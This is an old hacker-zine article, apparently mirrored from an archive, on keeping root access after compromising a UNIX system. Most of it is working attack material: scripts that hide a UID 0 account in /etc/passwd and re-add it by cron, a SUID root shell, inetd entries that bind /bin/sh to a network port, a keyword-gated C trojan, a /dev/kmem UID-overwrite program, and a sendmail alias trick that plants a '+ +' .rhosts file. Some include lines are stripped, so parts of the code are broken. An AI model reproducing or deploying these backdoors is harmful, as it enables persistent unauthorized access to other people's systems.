home *** CD-ROM | disk | FTP | other *** search
- Ok..... You've been at it for all night. Trying all the exploits you can think of. The system seems tight. The system looks tight.
- The system *is* tight. You've tried everything. Default passwds, guessable passwds, NIS weaknesses, NFS holes, incorrect
- permissions, race conditions, SUID exploits, Sendmail bugs, and so on... Nothing. WAIT! What's that!?!? A "#" ???? Finally!
- After seeming endless toiling, you've managed to steal root. Now what? How do you hold onto this precious super-user
- privilege you have worked so hard to achieve....?
-
- This article is intended to show you how to hold onto root once you have it. It is intended for hackers and administrators alike.
- From a hacking perspective, it is obvious what good this paper will do you. Admin's can likewise benefit from this paper. Ever
- wonder how that pesky hacker always manages to pop up, even when you think you've completely eradicated him from your
- system?
- This list is BY NO MEANS comprehensive. There are as many ways to leave backdoors into a UNIX computer as there are
- ways into one.
-
- Beforehand
-
- Know the location of critical system files. This should be obvious (If you can't list any of the top of your head, stop reading
- now, get a book on UNIX, read it, then come back to me...). Familiarity with passwd file formats (including general 7 field
- format, system specific naming conventions, shadowing mechanisms, etc...). Know vi. Many systems will not have those
- robust, user-friendly editors such as Pico and Emacs. Vi is also quite useful for needing to quickly seach and edit a large file. If
- you are connecting remotely (via dial-up/telnet/rlogin/whatver) it's always nice to have a robust terminal program that has a
- nice, FAT scrollback buffer. This will come in handy if you want to cut and paste code, rc files, shell scripts, etc...
-
- The permenance of these backdoors will depend completely on the technical saavy of the administrator. The experienced and
- skilled administrator will be wise to many (if not all) of these backdoors. But, if you have managed to steal root, it is likely the
- admin isn't as skilled (or up to date on bug reports) as she should be, and many of these doors may be in place for some time
- to come. One major thing to be aware of, is the fact that if you can cover you tracks during the initial break-in, no one will be
- looking for back doors.
-
-
-
- The Overt
-
- [1] Add a UID 0 account to the passwd file. This is probably the most obvious and quickly discovered method of rentry. It
- flies a red flag to the admin, saying "WE'RE UNDER ATTACK!!!". If you must do this, my advice is DO NOT simply
- prepend or append it. Anyone causally examining the passwd file will see this. So, why not stick it in the middle...
-
- #!/bin/csh
- # Inserts a UID 0 account into the middle of the passwd file.
- # There is likely a way to do this in 1/2 a line of AWK or SED. Oh well.
- # daemon9@netcom.com
-
- set linecount = `wc -l /etc/passwd`
- cd # Do this at home.
- cp /etc/passwd ./temppass # Safety first.
- echo passwd file has $linecount[1] lines.
- @ linecount[1] /= 2
- @ linecount[1] += 1 # we only want 2 temp files
- echo Creating two files, $linecount[1] lines each \(or approximately that\).
- split -$linecount[1] ./temppass # passwd string optional
- echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
- cat ./xab >> ./xaa
- mv ./xaa /etc/passwd
- chmod 644 /etc/passwd # or whatever it was beforehand
- rm ./xa* ./temppass
- echo Done...
-
- NEVER, EVER, change the root password. The reasons are obvious.
-
- [2] In a similar vein, enable a disabled account as UID 0, such as Sync. Or, perhaps, an account somwhere buried deep in the
- passwd file has been abandoned, and disabled by the sysadmin. Change her UID to 0 (and remove the '*' from the second
- field).
-
- [3] Leave an SUID root shell in /tmp.
-
- #!/bin/sh
- # Everyone's favorite...
-
- cp /bin/csh /tmp/.evilnaughtyshell # Don't name it that...
- chmod 4755 /tmp/.evilnaughtyshell
-
- Many systems run cron jobs to clean /tmp nightly. Most systems clean /tmp upon a reboot. Many systems have /tmp mounted
- to disallow SUID programs from executing. You can change all of these, but if the filesystem starts filling up, people may
- notice...but, hey, this *is* the overt section....). I will not detail the changes neccessary because they can be quite system
- specific. Check out /var/spool/cron/crontabs/root and /etc/fstab.
-
-
-
- The Veiled
-
- [4] The super-server configuration file is not the first place a sysadmin will look, so why not put one there? First, some
- background info: The Internet daemon (/etc/inetd) listens for connection requests on TCP and UDP ports and spawns the
- appropriate program (usally a server) when a connection request arrives. The format of the /etc/inetd.conf file is simple. Typical
- lines look like this:
-
- (1) (2) (3) (4) (5) (6) (7)
- ftp stream tcp nowait root /usr/etc/ftpd ftpd
- talk dgram udp wait root /usr/etc/ntalkd ntalkd
-
- Field (1) is the daemon name that should appear in /etc/services. This tells inetd what to look for in /etc/services to determine
- which port it should associate the program name with. (2) tells inetd which type of socket connection the daemon will expect.
- TCP uses streams, and UDP uses datagrams. Field (3) is the protocol field which is either of the two transport protocols, TCP
- or UDP. Field (4) specifies whether or not the daemon is iterative or concurrent. A 'wait' flag indicates that the server will
- process a connection and make all subsequent connections wait. 'Nowait' means the server will accept a connection, spawn a
- child process to handle the connection, and then go back to sleep, waiting for further connections. Field (5) is the user (or more
- inportantly, the UID) that the daemon is run as. (6) is the program to run when a connection arrives, and (7) is the actual
- command (and optional arguments). If the program is trivial (usally requiring no user interaction) inetd may handle it internally.
- This is done with an 'internal' flag in fields (6) and (7).
- So, to install a handy backdoor, choose a service that is not used often, and replace the daemon that would normally handle it
- with something else. A program that creates an SUID root shell, a program that adds a root account for you in the /etc/passwd
- file, etc...
- For the insinuation-impaired, try this:
-
- Open the /etc/inetd.conf in an available editor. Find the line that reads:
-
-
- daytime stream tcp nowait root internal
-
- and change it to:
-
- daytime stream tcp nowait /bin/sh sh -i.
-
- You now need to restart /etc/inetd so it will reread the config file. It is up to you how you want to do this. You can kill and
- restart the process, (kill -9 , /usr/sbin/inetd or /usr/etc/inetd) which will interuppt ALL network connections (so it is a good idea
- to do this off peak hours).
-
- [5] An option to compromising a well known service would be to install a new one, that runs a program of your choice. One
- simple solution is to set up a shell the runs similar to the above backdoor. You need to make sure the entry appears in
- /etc/services as well as in /etc/inetd.conf. The format of the /etc/services file is simple:
-
- (1) (2)/(3) (4)
- smtp 25/tcp mail
-
- Field (1) is the service, field (2) is the port number, (3) is the protocol type the service expects, and (4) is the common name
- associated with the service. For instance, add this line to /etc/services:
-
- evil 22/tcp evil
-
- and this line to /etc/inetd.conf:
-
- evil stream tcp nowait /bin/sh sh -i
-
- Restart inetd as before.
-
- Note: Potentially, these are a VERY powerful backdoors. They not only offer local rentry from any account on the system,
- they offer rentry from *any* account on *any* computer on the Internet.
-
- [6] Cron-based trojan I. Cron is a wonderful system administration tool. It is also a wonderful tool for backdoors, since root's
- crontab will, well, run as root... Again, depending on the level of experience of the sysadmin (and the implementation), this
- backdoor may or may not last. /var/spool/cron/crontabs/root is where root's list for crontabs is usally located. Here, you have
- several options. I will list a only few, as cron-based backdoors are only limited by your imagination. Cron is the clock daemon.
- It is a tool for automatically executing commands at specified dates and times. Crontab is the command used to add, remove,
- or view your crontab entries. It is just as easy to manually edit the /var/spool/crontab/root file as it is to use crontab. A crontab
- entry has six fields:
-
- (1) (2) (3) (4) (5) (6)
- 0 0 * * 1 /usr/bin/updatedb
-
- Fields (1)-(5) are as follows: minute (0-59), hour (0-23), day of the month (1-31) month of the year (1-12), day of the week
- (0-6). Field (6) is the command (or shell script) to execute. The above shell script is executed on Mondays. To exploit cron,
- simply add an entry into /var/spool/crontab/root. For example: You can have a cronjob that will run daily and look in the
- /etc/passwd file for the UID 0 account we previously added, and add him if he is missing, or do nothing otherwise (it may not
- be a bad idea to actually *insert* this shell code into an already installed crontab entry shell script, to further obfuscate your
- shady intentions). Add this line to /var/spool/crontab/root:
-
- 0 0 * * * /usr/bin/trojancode
-
- This is the shell script:
-
- #!/bin/csh
- # Is our eviluser still on the system? Let's make sure he is.
- #daemon9@netcom.com
-
- set evilflag = (`grep eviluser /etc/passwd`)
-
-
- if($#evilflag == 0) then # Is he there?
-
- set linecount = `wc -l /etc/passwd`
- cd # Do this at home.
- cp /etc/passwd ./temppass # Safety first.
- @ linecount[1] /= 2
- @ linecount[1] += 1 # we only want 2 temp files
- split -$linecount[1] ./temppass # passwd string optional
- echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa
- cat ./xab >> ./xaa
- mv ./xaa /etc/passwd
- chmod 644 /etc/passwd # or whatever it was beforehand
- rm ./xa* ./temppass
- echo Done...
- else
- endif
-
- [7] Cron-based trojan II. This one was brought to my attention by our very own Mr. Zippy. For this, you need a copy of the
- /etc/passwd file hidden somewhere. In this hidden passwd file (call it /var/spool/mail/.sneaky) we have but one entry, a root
- account with a passwd of your choosing. We run a cronjob that will, every morning at 2:30am (or every other morning), save a
- copy of the real /etc/passwd file, and install this trojan one as the real /etc/passwd file for one minute (synchronize swatches!).
- Any normal user or process trying to login or access the /etc/passwd file would get an error, but one minute later, everything
- would be ok. Add this line to root's crontab file:
-
-
- 29 2 * * * /bin/usr/sneakysneaky_passwd
-
- make sure this exists:
-
- #echo "root:1234567890123:0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky
-
- and this is the simple shell script:
-
- #!/bin/csh
- # Install trojan /etc/passwd file for one minute
- #daemon9@netcom.com
-
- cp /etc/passwd /etc/.temppass
- cp /var/spool/mail/.sneaky /etc/passwd
- sleep 60
- mv /etc/.temppass /etc/passwd
-
- [8] Compiled code trojan. Simple idea. Instead of a shell script, have some nice C code to obfuscate the effects. Here it is.
- Make sure it runs as root. Name it something innocous. Hide it well.
-
- /* A little trojan to create an SUID root shell, if the proper argument is
- given. C code, rather than shell to hide obvious it's effects. */
- /* daemon9@netcom.com */
-
- #include
-
- #define KEYWORD "industry3"
- #define BUFFERSIZE 10
-
- int main(argc, argv)
- int argc;
- char *argv[];{
-
- int i=0;
-
- if(argv[1]){ /* we've got an argument, is it the keyword? */
-
- if(!(strcmp(KEYWORD,argv[1]))){
-
- /* This is the trojan part. */
- system("cp /bin/csh /bin/.swp121");
- system("chown root /bin/.swp121");
- system("chmod 4755 /bin/.swp121");
- }
- }
- /* Put your possibly system specific trojan
- messages here */
- /* Let's look like we're doing something... */
- printf("Sychronizing bitmap image records.");
- /* system("ls -alR / >& /dev/null > /dev/null&"); */
- for(;i<10;i++){
- fprintf(stderr,".");
- sleep(1);
- }
- printf("\nDone.\n");
- return(0);
- } /* End main */
-
- [9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several
- users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line:
-
- "decode: "|/usr/bin/uudecode"
-
- to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded.
-
- #! /bin/csh
-
- # Create our .rhosts file. Note this will output to stdout.
-
- echo "+ +" > tmpfile
- /usr/bin/uuencode tmpfile /root/.rhosts
-
- Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the
- .rhosts file. For a one liner (not faked, however) do this:
-
- %echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@target.com
-
- You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your
- choosing. Many of the previous scripts and methods can be employed here.
-
-
-
- The Covert
-
- [10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.
- The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this
- case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some
- general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you
- are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)
- Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code:
-
- get input;
- if input is special hardcoded flag, spawn evil trojan;
- else if input is valid, continue;
- else quit with error;
- ...
-
- Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code.
-
-
-
- The Esoteric
-
- [11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it's parameters in memory, it is possible
- to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write
- permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of
- your current process, then spawn a csh, which will inherit this UID. The following program does just that.
-
- /* If /kmem is is readable and writable, this program will change the user's
- UID and GID to 0. */
- /* This code originally appeared in "UNIX security: A practical tutorial"
- with some modifications by daemon9@netcom.com */
-
- #include
- #include
- #include
- #include
- #include
- #include
- #include
-
- #define KEYWORD "nomenclature1"
-
- struct user userpage;
- long address(), userlocation;
-
- int main(argc, argv, envp)
- int argc;
- char *argv[], *envp[];{
-
- int count, fd;
- long where, lseek();
-
- if(argv[1]){ /* we've got an argument, is it the keyword? */
- if(!(strcmp(KEYWORD,argv[1]))){
- fd=(open("/dev/kmem",O_RDWR);
-
- if(fd<0){
- printf("Cannot read or write to /dev/kmem\n");
- perror(argv);
- exit(10);
- }
-
- userlocation=address();
- where=(lseek(fd,userlocation,0);
-
- if(where!=userlocation){
- printf("Cannot seek to user page\n");
- perror(argv);
- exit(20);
- }
-
- count=read(fd,&userpage,sizeof(struct user));
-
- if(count!=sizeof(struct user)){
- printf("Cannot read user page\n");
- perror(argv);
- exit(30);
- }
-
- printf("Current UID: %d\n",userpage.u_ruid);
- printf("Current GID: %d\n",userpage.g_ruid);
-
- userpage.u_ruid=0;
- userpage.u_rgid=0;
-
- where=lseek(fd,userlocation,0);
-
- if(where!=userlocation){
- printf("Cannot seek to user page\n");
- perror(argv);
- exit(40);
- }
-
- write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
-
- execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
- }
- }
-
- } /* End main */
-
- #include
- #include
- #include
-
- #define LNULL ((LDFILE *)0)
-
- long address(){
-
- LDFILE *object;
- SYMENT symbol;
- long idx=0;
-
- object=ldopen("/unix",LNULL);
-
- if(!object){
- fprintf(stderr,"Cannot open /unix.\n");
- exit(50);
- }
-
- for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){
- if(!strcmp("_u",ldgetname(object,&symbol))){
- fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value);
- ldclose(object);
- return(symbol.n_value);
- }
- }
-
- fprintf(stderr,"Cannot read symbol table in /unix.\n");
- exit(60);
- }
-
- [12] Since the previous code requires /dev/kmem to be world accessable, and this is not likely a natural event, we need to take
- care of this. My advice is to write a shell script similar to the one in [7] that will change the permissions on /dev/kmem for a
- discrete amount of time (say 5 minutes) and then restore the original permissions. You can add this source to the source in [7]:
-
- chmod 666 /dev/kmem
- sleep 300 # Nap for 5 minutes
- chmod 600 /dev/kmem # Or whatever it was before
-
-
-
- From The Infinity Concept Issue II
-